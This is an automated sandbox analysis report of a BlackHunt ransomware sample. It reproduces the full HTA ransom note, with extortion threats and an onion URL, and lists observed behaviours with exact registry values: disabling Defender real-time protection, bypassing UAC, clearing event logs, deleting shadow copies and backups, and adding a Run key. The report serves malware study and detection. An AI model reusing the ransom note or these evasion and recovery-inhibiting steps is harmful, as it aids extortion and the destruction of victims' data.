763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1

Analysis

max time kernel
119s
max time network
123s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
18/01/2024, 23:48

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General

Target

763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
Size

707KB
MD5

3ce52baa6a19ba9f4a8bb85821031076
SHA1

6ee32d5d9b35eb77d2b8629df24762d277d3794d
SHA256

763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1
SHA512

7d449d78ea72ecfb1df51d576377db0d67516ec28ac3671d3f82553d36a5413a0f5e9e1eb1b40809bee7e8126969fc66ec21c48de2e0dc4eb101921d8b514c6f
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1T8Nvnh:6uaTmkZJ+naie5OTamgEoKxLWy5h

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\Program Files\7-Zip\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> 11wXjFXzQzLlI0XJ </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
2800	fsutil.exe
2824	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
2596	wevtutil.exe
888	wevtutil.exe
1032	wevtutil.exe
3484	wevtutil.exe
3700	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2160	bcdedit.exe
1776	bcdedit.exe
4068	bcdedit.exe
1444	bcdedit.exe

Renames multiple (2898) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2976	wbadmin.exe
3272	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
1672	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\O:	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File opened (read-only)	\??\H:	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File opened (read-only)	\??\L:	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File opened (read-only)	\??\Z:	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File opened (read-only)	\??\B:	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\W:	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File opened (read-only)	\??\P:	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File opened (read-only)	\??\G:	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File opened (read-only)	\??\V:	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File opened (read-only)	\??\E:	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File opened (read-only)	\??\U:	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File opened (read-only)	\??\I:	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File opened (read-only)	\??\K:	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File opened (read-only)	\??\Q:	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File opened (read-only)	\??\Y:	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File opened (read-only)	\??\S:	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File opened (read-only)	\??\J:	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File opened (read-only)	\??\M:	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\R:	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File opened (read-only)	\??\A:	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File opened (read-only)	\??\X:	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\T:	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File opened (read-only)	\??\N:	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3601492379-692465709-652514833-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.metadata.nl_zh_4.4.0.v20140623020002.jar	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File created	C:\Program Files\Java\jre7\lib\zi\America\Indiana\#BlackHunt_ReadMe.txt	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-keyring-impl.jar	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Montevideo	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File opened for modification	C:\Program Files\Java\jre7\lib\deploy\ffjcext.zip	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\tl\#BlackHunt_ReadMe.txt	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\Modules\org-netbeans-modules-favorites.xml_hidden	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\#BlackHunt_ReadMe.hta	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.feature_1.1.0.v20140827-1444\META-INF\#BlackHunt_Private.key	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\applet\#BlackHunt_ReadMe.hta	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Scenes_INTRO_BG.wmv	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\sports_disc_mask.png	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.frameworkadmin.nl_zh_4.4.0.v20140623020002.jar	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Cambridge_Bay	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Colombo	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\sk\LC_MESSAGES\vlc.mo	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\16_9-frame-image-mask.png	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-host-views_zh_CN.jar	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Tehran	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ko\LC_MESSAGES\#BlackHunt_ReadMe.hta	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\zh_CN\LC_MESSAGES\vlc.mo	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\SystemV\#BlackHunt_Private.key	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
